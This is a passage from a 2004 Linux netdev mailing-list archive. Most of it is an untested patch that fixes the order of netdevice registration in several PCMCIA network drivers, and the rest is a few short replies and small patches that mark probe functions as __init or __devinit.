flint.arm.linux.org.uk ([2002:d412:e8ba:1:201:2ff:fe14:8fad]) by caramon.arm.linux.org.uk with asmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1B08vC-00006X-Pv; Mon, 08 Mar 2004 00:47:06 +0000 Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.30) id 1B08vB-0007T9-SK; Mon, 08 Mar 2004 00:47:05 +0000 Date: Mon, 8 Mar 2004 00:47:05 +0000 From: Russell King To: linux-pcmcia@lists.infradead.org, netdev@oss.sgi.com Cc: Jeff Garzik , Andrew Morton Subject: [PATCH] 2.6 PCMCIA netdevice ordering issues Message-ID: <20040308004705.D7065@flint.arm.linux.org.uk> Mail-Followup-To: linux-pcmcia@lists.infradead.org, netdev@oss.sgi.com, Jeff Garzik , Andrew Morton Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-archive-position: 3810 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rmk+pcmcia@arm.linux.org.uk Precedence: bulk X-list: netdev Content-Length: 19086 Lines: 573 This is an *untested* patch (PCMCIA people, please test) to fix initialisation ordering issues in these network device drivers. I don't have the hardware to be able to test these changes, although it passes a modular build without warnings. Andrew - it may be worth sticking these in -mm so they get some visibility via your tree as well. Many of these drivers were calling register_netdev() before they had completed their initialisation. In addition, they were calling register_netdev with the "DEV_CONFIG_PENDING" flag still set, which prevents hotplug scripts from bringing up the interface. Also, we take care to ensure that link->dev is correctly set - this is used to tell the PCMCIA release code if the netdev is currently registered (yes, that's probably racy at present, but lets sort one problem at a time.) I've arranged that all drivers register the netdevice as close as possible to the end of their initialisation, copy the net device's name for cardmgr to pass to it's network scripts, and then print out whatever information the driver wants to. Finally, a note about ibmtr - it seemed to assume that cardmgr wanted "tr0" or "tr1" depending on the base address, and completely ignoring the real device which the netdev layer allocated it. I've assumed that this is wrong (since the netdev name is used in printk messages), and changed it to behave the same as the other drivers. diff -urpN orig/drivers/net/pcmcia/3c574_cs.c linux/drivers/net/pcmcia/3c574_cs.c --- orig/drivers/net/pcmcia/3c574_cs.c Wed Feb 18 22:34:14 2004 +++ linux/drivers/net/pcmcia/3c574_cs.c Mon Mar 8 00:31:46 2004 @@ -384,6 +384,8 @@ static void tc574_detach(dev_link_t *lin #define CS_CHECK(fn, ret) \ do { last_fn = (fn); if ((last_ret = (ret)) != 0) goto cs_failed; } while (0) +static char *ram_split[] = {"5:3", "3:1", "1:1", "3:5"}; + static void tc574_config(dev_link_t *link) { client_handle_t handle = link->handle; @@ -396,6 +398,7 @@ static void tc574_config(dev_link_t *lin ioaddr_t ioaddr; u16 *phys_addr; char *cardname; + union wn3_config config; phys_addr = (u16 *)dev->dev_addr; @@ -431,15 +434,7 @@ static void tc574_config(dev_link_t *lin dev->irq = link->irq.AssignedIRQ; dev->base_addr = link->io.BasePort1; - if (register_netdev(dev) != 0) { - printk(KERN_NOTICE "3c574_cs: register_netdev() failed\n"); - goto failed; - } - ioaddr = dev->base_addr; - strcpy(lp->node.dev_name, dev->name); - link->dev = &lp->node; - link->state &= ~DEV_CONFIG_PENDING; /* The 3c574 normally uses an EEPROM for configuration info, including the hardware address. The future products may include a modem chip @@ -467,24 +462,14 @@ static void tc574_config(dev_link_t *lin } else cardname = "3Com 3c574"; - printk(KERN_INFO "%s: %s at io %#3lx, irq %d, hw_addr ", - dev->name, cardname, dev->base_addr, dev->irq); - - for (i = 0; i < 6; i++) - printk("%02X%s", dev->dev_addr[i], ((i<5) ? ":" : ".\n")); - { - u_char mcr, *ram_split[] = {"5:3", "3:1", "1:1", "3:5"}; - union wn3_config config; + u_char mcr; outw(2<<11, ioaddr + RunnerRdCtrl); mcr = inb(ioaddr + 2); outw(0<<11, ioaddr + RunnerRdCtrl); printk(KERN_INFO " ASIC rev %d,", mcr>>3); EL3WINDOW(3); config.i = inl(ioaddr + Wn3_Config); - printk(" %dK FIFO split %s Rx:Tx, %sMII interface.\n", - 8 << config.u.ram_size, ram_split[config.u.ram_split], - config.u.autoselect ? "autoselect " : ""); lp->default_media = config.u.xcvr; lp->autoselect = config.u.autoselect; } @@ -531,6 +516,25 @@ static void tc574_config(dev_link_t *lin } } + link->state &= ~DEV_CONFIG_PENDING; + link->dev = &lp->node; + + if (register_netdev(dev) != 0) { + printk(KERN_NOTICE "3c574_cs: register_netdev() failed\n"); + link->dev = NULL; + goto failed; + } + + strcpy(lp->node.dev_name, dev->name); + + printk(KERN_INFO "%s: %s at io %#3lx, irq %d, hw_addr ", + dev->name, cardname, dev->base_addr, dev->irq); + for (i = 0; i < 6; i++) + printk("%02X%s", dev->dev_addr[i], ((i<5) ? ":" : ".\n")); + printk(" %dK FIFO split %s Rx:Tx, %sMII interface.\n", + 8 << config.u.ram_size, ram_split[config.u.ram_split], + config.u.autoselect ? "autoselect " : ""); + return; cs_failed: diff -urpN orig/drivers/net/pcmcia/3c589_cs.c linux/drivers/net/pcmcia/3c589_cs.c --- orig/drivers/net/pcmcia/3c589_cs.c Wed Feb 18 22:34:14 2004 +++ linux/drivers/net/pcmcia/3c589_cs.c Mon Mar 8 00:09:45 2004 @@ -308,7 +308,7 @@ static void tc589_config(dev_link_t *lin tuple_t tuple; cisparse_t parse; u16 buf[32], *phys_addr; - int last_fn, last_ret, i, j, multi = 0; + int last_fn, last_ret, i, j, multi = 0, fifo; ioaddr_t ioaddr; char *ram_split[] = {"5:3", "3:1", "1:1", "3:5"}; @@ -357,11 +357,6 @@ static void tc589_config(dev_link_t *lin dev->irq = link->irq.AssignedIRQ; dev->base_addr = link->io.BasePort1; - if (register_netdev(dev) != 0) { - printk(KERN_ERR "3c589_cs: register_netdev() failed\n"); - goto failed; - } - ioaddr = dev->base_addr; EL3WINDOW(0); @@ -382,13 +377,10 @@ static void tc589_config(dev_link_t *lin } } - strcpy(lp->node.dev_name, dev->name); - link->dev = &lp->node; - link->state &= ~DEV_CONFIG_PENDING; - /* The address and resource configuration register aren't loaded from the EEPROM and *must* be set to 0 and IRQ3 for the PCMCIA version. */ outw(0x3f00, ioaddr + 8); + fifo = inl(ioaddr); /* The if_port symbol can be set when the module is loaded */ if ((if_port >= 0) && (if_port <= 3)) @@ -396,14 +388,24 @@ static void tc589_config(dev_link_t *lin else printk(KERN_ERR "3c589_cs: invalid if_port requested\n"); + link->dev = &lp->node; + link->state &= ~DEV_CONFIG_PENDING; + + if (register_netdev(dev) != 0) { + printk(KERN_ERR "3c589_cs: register_netdev() failed\n"); + link->dev = NULL; + goto failed; + } + + strcpy(lp->node.dev_name, dev->name); + printk(KERN_INFO "%s: 3Com 3c%s, io %#3lx, irq %d, hw_addr ", dev->name, (multi ? "562" : "589"), dev->base_addr, dev->irq); for (i = 0; i < 6; i++) printk("%02X%s", dev->dev_addr[i], ((i<5) ? ":" : "\n")); - i = inl(ioaddr); printk(KERN_INFO " %dK FIFO split %s Rx:Tx, %s xcvr\n", - (i & 7) ? 32 : 8, ram_split[(i >> 16) & 3], + (fifo & 7) ? 32 : 8, ram_split[(fifo >> 16) & 3], if_names[dev->if_port]); return; diff -urpN orig/drivers/net/pcmcia/axnet_cs.c linux/drivers/net/pcmcia/axnet_cs.c --- orig/drivers/net/pcmcia/axnet_cs.c Wed Feb 18 22:34:15 2004 +++ linux/drivers/net/pcmcia/axnet_cs.c Mon Mar 8 00:10:15 2004 @@ -430,19 +430,11 @@ static void axnet_config(dev_link_t *lin ei_status.block_input = &block_input; ei_status.block_output = &block_output; - strcpy(info->node.dev_name, dev->name); - if (inb(dev->base_addr + AXNET_TEST) != 0) info->flags |= IS_AX88790; else info->flags |= IS_AX88190; - printk(KERN_INFO "%s: Asix AX88%d90: io %#3lx, irq %d, hw_addr ", - dev->name, ((info->flags & IS_AX88790) ? 7 : 1), - dev->base_addr, dev->irq); - for (i = 0; i < 6; i++) - printk("%02X%s", dev->dev_addr[i], ((i<5) ? ":" : "\n")); - if (info->flags & IS_AX88790) outb(0x10, dev->base_addr + AXNET_GPIO); /* select Internal PHY */ @@ -463,19 +455,27 @@ static void axnet_config(dev_link_t *lin } info->phy_id = (i < 32) ? i : -1; - if (i < 32) { - DEBUG(0, " MII transceiver at index %d, status %x.\n", i, j); - } else { - printk(KERN_NOTICE " No MII transceivers found!\n"); - } + link->dev = &info->node; + link->state &= ~DEV_CONFIG_PENDING; if (register_netdev(dev) != 0) { printk(KERN_NOTICE "axnet_cs: register_netdev() failed\n"); + link->dev = NULL; goto failed; } - link->dev = &info->node; - link->state &= ~DEV_CONFIG_PENDING; + strcpy(info->node.dev_name, dev->name); + + printk(KERN_INFO "%s: Asix AX88%d90: io %#3lx, irq %d, hw_addr ", + dev->name, ((info->flags & IS_AX88790) ? 7 : 1), + dev->base_addr, dev->irq); + for (i = 0; i < 6; i++) + printk("%02X%s", dev->dev_addr[i], ((i<5) ? ":" : "\n")); + if (info->phy_id != -1) { + DEBUG(0, " MII transceiver at index %d, status %x.\n", info->phy_id, j); + } else { + printk(KERN_NOTICE " No MII transceivers found!\n"); + } return; cs_failed: diff -urpN orig/drivers/net/pcmcia/com20020_cs.c linux/drivers/net/pcmcia/com20020_cs.c --- orig/drivers/net/pcmcia/com20020_cs.c Wed Feb 18 22:34:15 2004 +++ linux/drivers/net/pcmcia/com20020_cs.c Mon Mar 8 00:19:18 2004 @@ -141,7 +141,6 @@ static dev_link_t *dev_list; typedef struct com20020_dev_t { struct net_device *dev; - int dev_configured; dev_node_t node; } com20020_dev_t; @@ -277,13 +276,10 @@ static void com20020_detach(dev_link_t * dev = info->dev; if (dev) { - if (info->dev_configured) + if (link->dev) { DEBUG(1,"unregister...\n"); - if (netif_running(dev)) - dev->stop(dev); - unregister_netdev(dev); /* @@ -398,17 +394,18 @@ static void com20020_config(dev_link_t * lp->card_name = "PCMCIA COM20020"; lp->card_flags = ARC_CAN_10MBIT; /* pretend all of them can 10Mbit */ + link->dev = &info->node; + link->state &= ~DEV_CONFIG_PENDING; + i = com20020_found(dev, 0); /* calls register_netdev */ if (i != 0) { DEBUG(1,KERN_NOTICE "com20020_cs: com20020_found() failed\n"); + link->dev = NULL; goto failed; } - info->dev_configured = 1; strcpy(info->node.dev_name, dev->name); - link->dev = &info->node; - link->state &= ~DEV_CONFIG_PENDING; DEBUG(1,KERN_INFO "%s: port %#3lx, irq %d\n", dev->name, dev->base_addr, dev->irq); diff -urpN orig/drivers/net/pcmcia/fmvj18x_cs.c linux/drivers/net/pcmcia/fmvj18x_cs.c --- orig/drivers/net/pcmcia/fmvj18x_cs.c Wed Feb 18 22:34:15 2004 +++ linux/drivers/net/pcmcia/fmvj18x_cs.c Mon Mar 8 00:13:01 2004 @@ -510,10 +510,6 @@ static void fmvj18x_config(dev_link_t *l CS_CHECK(RequestConfiguration, pcmcia_request_configuration(link->handle, &link->conf)); dev->irq = link->irq.AssignedIRQ; dev->base_addr = link->io.BasePort1; - if (register_netdev(dev) != 0) { - printk(KERN_NOTICE "fmvj18x_cs: register_netdev() failed\n"); - goto failed; - } if (link->io.BasePort2 != 0) fmvj18x_setup_mfc(link); @@ -575,7 +571,6 @@ static void fmvj18x_config(dev_link_t *l /* Read MACID from Buggy CIS */ if (fmvj18x_get_hwinfo(link, tuple.TupleData) == -1) { printk(KERN_NOTICE "fmvj18x_cs: unable to read hardware net address.\n"); - unregister_netdev(dev); goto failed; } for (i = 0 ; i < 6; i++) { @@ -592,10 +587,18 @@ static void fmvj18x_config(dev_link_t *l break; } - strcpy(lp->node.dev_name, dev->name); + lp->cardtype = cardtype; link->dev = &lp->node; + link->state &= ~DEV_CONFIG_PENDING; + + if (register_netdev(dev) != 0) { + printk(KERN_NOTICE "fmvj18x_cs: register_netdev() failed\n"); + link->dev = NULL; + goto failed; + } + + strcpy(lp->node.dev_name, dev->name); - lp->cardtype = cardtype; /* print current configuration */ printk(KERN_INFO "%s: %s, sram %s, port %#3lx, irq %d, hw_addr ", dev->name, card_name, sram_config == 0 ? "4K TX*2" : "8K TX*2", @@ -603,7 +606,6 @@ static void fmvj18x_config(dev_link_t *l for (i = 0; i < 6; i++) printk("%02X%s", dev->dev_addr[i], ((i<5) ? ":" : "\n")); - link->state &= ~DEV_CONFIG_PENDING; return; cs_failed: diff -urpN orig/drivers/net/pcmcia/ibmtr_cs.c linux/drivers/net/pcmcia/ibmtr_cs.c --- orig/drivers/net/pcmcia/ibmtr_cs.c Wed Feb 18 22:34:15 2004 +++ linux/drivers/net/pcmcia/ibmtr_cs.c Mon Mar 8 00:24:13 2004 @@ -317,13 +317,10 @@ static void ibmtr_config(dev_link_t *lin /* Try PRIMARY card at 0xA20-0xA23 */ link->io.BasePort1 = 0xA20; i = pcmcia_request_io(link->handle, &link->io); - if (i == CS_SUCCESS) { - memcpy(info->node.dev_name, "tr0\0", 4); - } else { + if (i != CS_SUCCESS) { /* Couldn't get 0xA20-0xA23. Try ALTERNATE at 0xA24-0xA27. */ link->io.BasePort1 = 0xA24; CS_CHECK(RequestIO, pcmcia_request_io(link->handle, &link->io)); - memcpy(info->node.dev_name, "tr1\0", 4); } dev->base_addr = link->io.BasePort1; @@ -367,15 +364,17 @@ static void ibmtr_config(dev_link_t *lin Adapters Technical Reference" SC30-3585 for this info. */ ibmtr_hw_setup(dev, mmiobase); + link->dev = &info->node; + link->state &= ~DEV_CONFIG_PENDING; + i = ibmtr_probe_card(dev); - if (i != 0) { printk(KERN_NOTICE "ibmtr_cs: register_netdev() failed\n"); + link->dev = NULL; goto failed; } - link->dev = &info->node; - link->state &= ~DEV_CONFIG_PENDING; + strcpy(info->node.dev_name, dev->name); printk(KERN_INFO "%s: port %#3lx, irq %d,", dev->name, dev->base_addr, dev->irq); diff -urpN orig/drivers/net/pcmcia/nmclan_cs.c linux/drivers/net/pcmcia/nmclan_cs.c --- orig/drivers/net/pcmcia/nmclan_cs.c Wed Feb 18 22:34:15 2004 +++ linux/drivers/net/pcmcia/nmclan_cs.c Mon Mar 8 00:13:42 2004 @@ -734,11 +734,6 @@ static void nmclan_config(dev_link_t *li CS_CHECK(RequestConfiguration, pcmcia_request_configuration(handle, &link->conf)); dev->irq = link->irq.AssignedIRQ; dev->base_addr = link->io.BasePort1; - i = register_netdev(dev); - if (i != 0) { - printk(KERN_NOTICE "nmclan_cs: register_netdev() failed\n"); - goto failed; - } ioaddr = dev->base_addr; @@ -777,10 +772,18 @@ static void nmclan_config(dev_link_t *li else printk(KERN_NOTICE "nmclan_cs: invalid if_port requested\n"); - strcpy(lp->node.dev_name, dev->name); link->dev = &lp->node; link->state &= ~DEV_CONFIG_PENDING; + i = register_netdev(dev); + if (i != 0) { + printk(KERN_NOTICE "nmclan_cs: register_netdev() failed\n"); + link->dev = NULL; + goto failed; + } + + strcpy(lp->node.dev_name, dev->name); + printk(KERN_INFO "%s: nmclan: port %#3lx, irq %d, %s port, hw_addr ", dev->name, dev->base_addr, dev->irq, if_names[dev->if_port]); for (i = 0; i < 6; i++) diff -urpN orig/drivers/net/pcmcia/smc91c92_cs.c linux/drivers/net/pcmcia/smc91c92_cs.c --- orig/drivers/net/pcmcia/smc91c92_cs.c Wed Feb 18 22:34:15 2004 +++ linux/drivers/net/pcmcia/smc91c92_cs.c Mon Mar 8 00:14:06 2004 @@ -901,6 +901,7 @@ static void smc91c92_config(dev_link_t * char *name; int i, j, rev; ioaddr_t ioaddr; + u_long mir; DEBUG(0, "smc91c92_config(0x%p)\n", link); @@ -952,11 +953,6 @@ static void smc91c92_config(dev_link_t * else printk(KERN_NOTICE "smc91c92_cs: invalid if_port requested\n"); - if (register_netdev(dev) != 0) { - printk(KERN_ERR "smc91c92_cs: register_netdev() failed\n"); - goto config_undo; - } - switch (smc->manfid) { case MANFID_OSITECH: case MANFID_PSION: @@ -977,8 +973,6 @@ static void smc91c92_config(dev_link_t * goto config_undo; } - strcpy(smc->node.dev_name, dev->name); - link->dev = &smc->node; smc->duplex = 0; smc->rx_ovrn = 0; @@ -993,25 +987,16 @@ static void smc91c92_config(dev_link_t * case 8: name = "100-FD"; break; case 9: name = "110"; break; } - printk(KERN_INFO "%s: smc91c%s rev %d: io %#3lx, irq %d, " - "hw_addr ", dev->name, name, (rev & 0x0f), dev->base_addr, - dev->irq); - for (i = 0; i < 6; i++) - printk("%02X%s", dev->dev_addr[i], ((i<5) ? ":" : "\n")); ioaddr = dev->base_addr; if (rev > 0) { - u_long mir, mcr; + u_long mcr; SMC_SELECT_BANK(0); mir = inw(ioaddr + MEMINFO) & 0xff; if (mir == 0xff) mir++; /* Get scale factor for memory size */ mcr = ((rev >> 4) > 3) ? inw(ioaddr + MEMCFG) : 0x0200; mir *= 128 * (1<<((mcr >> 9) & 7)); - if (mir & 0x3ff) - printk(KERN_INFO " %lu byte", mir); - else - printk(KERN_INFO " %lu kb", mir>>10); SMC_SELECT_BANK(1); smc->cfg = inw(ioaddr + CONFIG) & ~CFG_AUI_SELECT; smc->cfg |= CFG_NO_WAIT | CFG_16BIT | CFG_STATIC; @@ -1019,9 +1004,8 @@ static void smc91c92_config(dev_link_t * smc->cfg |= CFG_IRQ_SEL_1 | CFG_IRQ_SEL_0; if ((rev >> 4) >= 7) smc->cfg |= CFG_MII_SELECT; - printk(" buffer, %s xcvr\n", (smc->cfg & CFG_MII_SELECT) ? - "MII" : if_names[dev->if_port]); - } + } else + mir = 0; if (smc->cfg & CFG_MII_SELECT) { SMC_SELECT_BANK(3); @@ -1031,16 +1015,45 @@ static void smc91c92_config(dev_link_t * if ((j != 0) && (j != 0xffff)) break; } smc->mii_if.phy_id = (i < 32) ? i : -1; - if (i < 32) { - DEBUG(0, " MII transceiver at index %d, status %x.\n", i, j); - } else { - printk(KERN_NOTICE " No MII transceivers found!\n"); - } SMC_SELECT_BANK(0); } + link->dev = &smc->node; link->state &= ~DEV_CONFIG_PENDING; + + if (register_netdev(dev) != 0) { + printk(KERN_ERR "smc91c92_cs: register_netdev() failed\n"); + link->dev = NULL; + goto config_undo; + } + + strcpy(smc->node.dev_name, dev->name); + + printk(KERN_INFO "%s: smc91c%s rev %d: io %#3lx, irq %d, " + "hw_addr ", dev->name, name, (rev & 0x0f), dev->base_addr, + dev->irq); + for (i = 0; i < 6; i++) + printk("%02X%s", dev->dev_addr[i], ((i<5) ? ":" : "\n")); + + if (rev > 0) { + if (mir & 0x3ff) + printk(KERN_INFO " %lu byte", mir); + else + printk(KERN_INFO " %lu kb", mir>>10); + printk(" buffer, %s xcvr\n", (smc->cfg & CFG_MII_SELECT) ? + "MII" : if_names[dev->if_port]); + } + + if (smc->cfg & CFG_MII_SELECT) { + if (smc->mii_if.phy_id != -1) { + DEBUG(0, " MII transceiver at index %d, status %x.\n", + smc->mii_if.phy_id, j); + } else { + printk(KERN_NOTICE " No MII transceivers found!\n"); + } + } + return; config_undo: diff -urpN orig/drivers/net/pcmcia/xirc2ps_cs.c linux/drivers/net/pcmcia/xirc2ps_cs.c --- orig/drivers/net/pcmcia/xirc2ps_cs.c Wed Feb 18 22:34:15 2004 +++ linux/drivers/net/pcmcia/xirc2ps_cs.c Mon Mar 8 00:14:21 2004 @@ -1114,17 +1114,20 @@ xirc2ps_config(dev_link_t * link) /* we can now register the device with the net subsystem */ dev->irq = link->irq.AssignedIRQ; dev->base_addr = link->io.BasePort1; + + if (local->dingo) + do_reset(dev, 1); /* a kludge to make the cem56 work */ + + link->dev = &local->node; + link->state &= ~DEV_CONFIG_PENDING; + if ((err=register_netdev(dev))) { printk(KNOT_XIRC "register_netdev() failed\n"); + link->dev = NULL; goto config_error; } strcpy(local->node.dev_name, dev->name); - link->dev = &local->node; - link->state &= ~DEV_CONFIG_PENDING; - - if (local->dingo) - do_reset(dev, 1); /* a kludge to make the cem56 work */ /* give some infos about the hardware */ printk(KERN_INFO "%s: %s: port %#3lx, irq %d, hwaddr", -- Russell King Linux kernel 2.6 ARM Linux - http://www.arm.linux.org.uk/ maintainer of: 2.6 PCMCIA - http://pcmcia.arm.linux.org.uk/ 2.6 Serial core From jgarzik@pobox.com Sun Mar 7 17:20:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Mar 2004 17:20:27 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i281KPKO012942 for ; Sun, 7 Mar 2004 17:20:26 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:34978 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B09RQ-00030A-2m; Mon, 08 Mar 2004 01:20:24 +0000 Message-ID: <404BCA4B.4070109@pobox.com> Date: Sun, 07 Mar 2004 20:20:11 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Krzysztof Halasa CC: netdev@oss.sgi.com Subject: Re: 2.6.x wanXL driver update References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3815 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From jgarzik@pobox.com Sun Mar 7 17:20:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Mar 2004 17:20:34 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i281KVKO012998 for ; Sun, 7 Mar 2004 17:20:32 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:34979 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B09RW-00030E-H9; Mon, 08 Mar 2004 01:20:30 +0000 Message-ID: <404BCA53.2080103@pobox.com> Date: Sun, 07 Mar 2004 20:20:19 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Feldman, Scott" CC: netdev@oss.sgi.com Subject: Re: [e100 2.6] missing setup for National DP83840 PHY rev b/c References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3816 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From rddunlap@osdl.org Sun Mar 7 20:14:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Mar 2004 20:14:21 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i284EHKO023203 for ; Sun, 7 Mar 2004 20:14:17 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i284ECE16520; Sun, 7 Mar 2004 20:14:12 -0800 Date: Sun, 7 Mar 2004 19:38:03 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik Subject: [PATCH] ibmtr init section usage Message-Id: <20040307193803.576182ce.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3831 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 980 Lines: 35 probe functions can be __devinit. Patch is to 2.6.4-rc2. Please apply. -- ~Randy diffstat:= drivers/net/tokenring/ibmtr.c | 4 ++-- 1 files changed, 2 insertions(+), 2 deletions(-) diff -Naurp ./drivers/net/tokenring/ibmtr.c~ibmtr_init ./drivers/net/tokenring/ibmtr.c --- ./drivers/net/tokenring/ibmtr.c~ibmtr_init 2004-03-06 20:57:06.000000000 -0800 +++ ./drivers/net/tokenring/ibmtr.c 2004-03-07 18:31:11.000000000 -0800 @@ -333,7 +333,7 @@ static void ibmtr_cleanup_card(struct ne #endif } -int ibmtr_probe_card(struct net_device *dev) +int __devinit ibmtr_probe_card(struct net_device *dev) { int err = ibmtr_probe(dev); if (!err) { @@ -356,7 +356,7 @@ int ibmtr_probe_card(struct net_device * * which references it. ****************************************************************************/ -static int ibmtr_probe(struct net_device *dev) +static int __devinit ibmtr_probe(struct net_device *dev) { int i; int base_addr = dev->base_addr; From rddunlap@osdl.org Sun Mar 7 20:14:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Mar 2004 20:14:20 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i284EIKO023204 for ; Sun, 7 Mar 2004 20:14:18 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i284ECE16524; Sun, 7 Mar 2004 20:14:12 -0800 Date: Sun, 7 Mar 2004 19:40:09 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik Subject: [PATCH] smctr: fix init section usage Message-Id: <20040307194009.4ce2f9b1.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3830 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 699 Lines: 25 smctr_chk_mca() can be __init. Patch is to 2.6.4-rc2. Please apply. -- ~Randy diffstat:= drivers/net/tokenring/smctr.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -Naurp ./drivers/net/tokenring/smctr.c~smctr_init ./drivers/net/tokenring/smctr.c --- ./drivers/net/tokenring/smctr.c~smctr_init 2004-02-17 19:57:56.000000000 -0800 +++ ./drivers/net/tokenring/smctr.c 2004-03-07 17:39:14.000000000 -0800 @@ -477,7 +477,7 @@ static int smctr_checksum_firmware(struc return (0); } -static int smctr_chk_mca(struct net_device *dev) +static int __init smctr_chk_mca(struct net_device *dev) { #ifdef CONFIG_MCA struct net_local *tp = (struct net_local *)dev->priv; From rddunlap@osdl.org Sun Mar 7 20:14:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Mar 2004 20:14:19 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i284EHKO023202 for ; Sun, 7 Mar 2004 20:14:17 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i284EBE16516; Sun, 7 Mar 2004 20:14:11 -0800 Date: Sun, 7 Mar 2004 19:35:42 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik Subject: [PATCH] eepro init section usage Message-Id: <20040307193542.20a510c9.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3829 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 651 Lines: 28 Hi, eepro_print_info() can be __init. Please apply. Patch is to 2.6.4-rc2. -- ~Randy diffstat:= drivers/net/eepro.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -Naurp ./drivers/net/eepro.c~eepro_init ./drivers/net/eepro.c --- ./drivers/net/eepro.c~eepro_init 2004-02-17 19:58:50.000000000 -0800 +++ ./drivers/net/eepro.c 2004-03-07 16:36:03.000000000 -0800 @@ -680,7 +680,7 @@ static void eepro_recalc (struct net_dev } /* prints boot-time info */ -static void eepro_print_info (struct net_device *dev) +static void __init eepro_print_info (struct net_device *dev) { struct eepro_local * lp = dev->priv; int i; From herbert@gondor.apana.org.au Mon Mar 8 03:03:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 03:04:00 -0800 (PST) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28B3uKO008979 for ; Mon, 8 Mar 2004 03:03:57 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B0IXp-0001QK-00; Mon, 08 Mar 2004 22:03:37 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B0IXj-0005OW-00; Mon, 08 Mar 2004 22:03:31 +1100 Date: Mon, 8 Mar 2004 22:03:31 +1100 To: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: ip_route_me_harder -> xfrm_lookup Message-ID: <20040308110331.GA20719@gondor.apana.org.au> Mime-Version: 1.0 Content-Type: multipart/mixed; 